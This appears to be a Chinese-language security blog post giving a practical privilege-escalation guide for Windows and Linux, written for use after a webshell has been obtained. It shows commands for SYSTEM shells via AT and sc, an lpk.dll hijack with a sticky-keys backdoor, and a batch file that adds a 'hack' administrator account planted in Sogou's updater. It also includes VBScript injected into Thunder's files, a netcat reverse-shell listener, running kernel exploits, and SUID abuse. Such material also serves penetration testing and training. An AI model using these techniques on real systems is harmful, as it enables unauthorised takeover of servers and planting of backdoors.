Windows和Linux系统提权

本文最后更新于:2 年前

Windows提权

内核补丁提权

在目标机执行systeminfo命令,再把得到的信息复制粘贴到以下网站。

提权辅助网站:http://bugs.hacking8.com/tiquan/

数据库提权

由于篇幅太长,所以单独写了一篇文章。具体方法,可参考本人的另一篇文章。

计划任务提权

Windows自带的计划任务分为atschtasks两种。

AT提权:适用于win7以下的逻辑性利用,创造新的指定文件时间允许,将获取system权限

1
at 20:55 /interactive cmd.exe

SC反弹–创建服务:绑定执行文件cmd,执行弹出system提权

1
2
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd

PS提权(仅win2008):需要win安装pstools/ps插件,允许即可

1
psexec.exe -accepteula -s -i -d notepad.exe

DLL劫持提权

Windows程序启动的时候需要dll(动态链接库)。如果这些dll不存在,则可以通过在应用程序要查找的位置放置恶意dll来提权。通常,Windows应用程序有其预定义好的搜索dll的路径,它会根据下面的顺序进行搜索:

1.应用程序加载的目录

2.C:\Windows\System32

3.C:\Windows\System

4.C:\Windows

5.当前工作目录Current Working Directory,CWD

6.在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。

lpk.dll提权

系统本身的lpk.dll文件位于C:\WINDOWS\system32和C:WINDOWS\system\dllcache目录下。lpk.dll病毒的典型特征是感染存在可执行文件的目录,并隐藏自身,删除后又再生成,当同目录中的exe文件运行时,lpk.dll就会被Windows动态链接,从而激活病毒,进而导致不能彻底清除。

这里我们使用t00ls论坛编写的dll提权小工具–T00ls Lpk Sethc v4(使用时务必关掉杀软)。不过使用前提是对方服务器开启了远程桌面功能(不一定是3389端口,这时可以用tasklist /svc命令查看pid,再用netstat -ano命令查找对应端口)。

在拿到webshell的前提下,将lpk.dll上传到目标服务器带有exe的目录下,当exe被执行后,就会动态链接lpk.dll。当用户重启机器时,lpk.dll会劫持远程连接。这时我们只需连按5次shift键启用后门,并同时按住Ctrl键和设定的两个热键,就会弹出密码框。接下来的操作就很容易了,图形化界面有手就行。

第三方软件提权

第三方软件提权,就是利用第三方软件存在的漏洞来进行获取一个权限的操作。

搜狗输入法提权

由于搜狗输入法默认设置是自动更新(很少有人去更改这个设置),更新程序没有对exe做任何校验直接在输入法升级时调用运行,而且搜狗输入法为了方便更新,所在文件夹默认读写、执行权限全开,导致我们可以上传bat脚本编译后的恶意exe程序,替换原有的更新程序,进行提权操作。

在获取webshell的前提下,在某个盘下找到了搜狗的路径:x:\Program Files\SogouInput。

编写以下批处理脚本(这里以创建用户并添加管理员组为例):

1
2
3
@echo off
@net user hack hack123 /add
@net localgroup administrators hack /add

用Quick Batch File Compiler编译为exe程序,上传我们的PinyinUp.exe文件,把之前搜狗路径下的PinyinUp文件改个名字。当服务器管理员更新词库的时候就会调用我们的PinyinUp.exe程序,然后执行我们之前写的bat脚本中的命令,即添加hack用户到管理员组。

迅雷提权

我们每次在网页中使用迅雷下载文件时,迅雷都会自动调用安装目录中的geturl.htm和getAllurl.htm文件来获取下载链接、bt种子等资源。我们可以利用这一特性,更改迅雷安装目录下的这两个文件。而且迅雷安装目录的所有权限全开,也给我们提权提供了便利。同样的,需要通过webshell找到迅雷安装目录。

在其中任意一个文件结尾加上这段vbs脚本代码:

1
2
3
4
<script language="VBScript">
Set vbs=CreateObject("Wscript.Shell")
vbs.run "cmd /c 要执行的命令",0
</script>

当服务器管理员使用迅雷下载文件时,VBScript脚本里面的命令便会执行,提权操作顺利完成。

Linux提权

Linux提权相对于windows来说方法比较单一,主要提权方式为suid提权,内核提权,环境变量提权,计划任务提权,第三方服务提权,今天来记载一下关于suid提权以及内核提权,以及对目标linux信息收集的判断,以及漏洞探针。

内核提权

在进行Linux内核提权之前,我们一般先查看内核版本:

1
2
uname -a
lsb_release -a

通过内核版本找到对应exp后,在拿到webshell的前提下反弹shell:

1
2
nc -lvvp 监听端口
python -c "import pty;pty.spawn('/bin/bash')" #如果看着不顺眼可以用这句命令改为交互式界面

在Linux系统内进行编译并赋权:

1
2
gcc exp.c -o exp
chmod +x exp

运行exp:

1
./exp

验证提权是否成功:

1
whoami

如果返回结果是root,则提权成功。无论哪个Linux发行版都是如此。

但是手工信息收集效率不高,这里推荐两款信息收集与漏洞探针的自动化脚本,
信息收集:LinEnum.sh
漏洞探针:linux-exploit-suggster2

suid提权

首先了解suid与guid概念,所谓suid就是使用具有suid的文件时候,将可以赋予suid权限命令的用户一样的权限去运行这个文件,好比root给a文件赋予suid,当我们以普通权限user去运行a,也将以root权限运行该文件。guid的概念就是将suid里面user用户的权限更改为group组的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 手工赋予suid权限:
chmod u+s xxx
# 手工删除suid权限:
suid u-s xxx
# 手工搜寻本机suid的命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
# 搜寻guid命令:
find / -perm -g=s -type f 2>/dev/null

# suid提权就是使用具有suid的命令去执行其他命令,因为具有suid的命令具备root权限,从而实现突破普通权限,获取root权限去执行命令
# 一些常见的可以使用的suid命令提权
nmap
vim
less
more
nano
cp
mv
find
等等······

suid命令查询网站:https://gtfobins.github.io/

总结

1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等

提权的骚姿势还有很多,例如中间件漏洞提权、令牌窃取提权,由于篇幅有限,这里我就不展开了。


Windows和Linux系统提权
https://rookieterry.github.io/2021/10/29/Windows和Linux系统提权/
作者
HackerTerry
发布于
星期五, 十月 29日 2021, 6:37 晚上
许可协议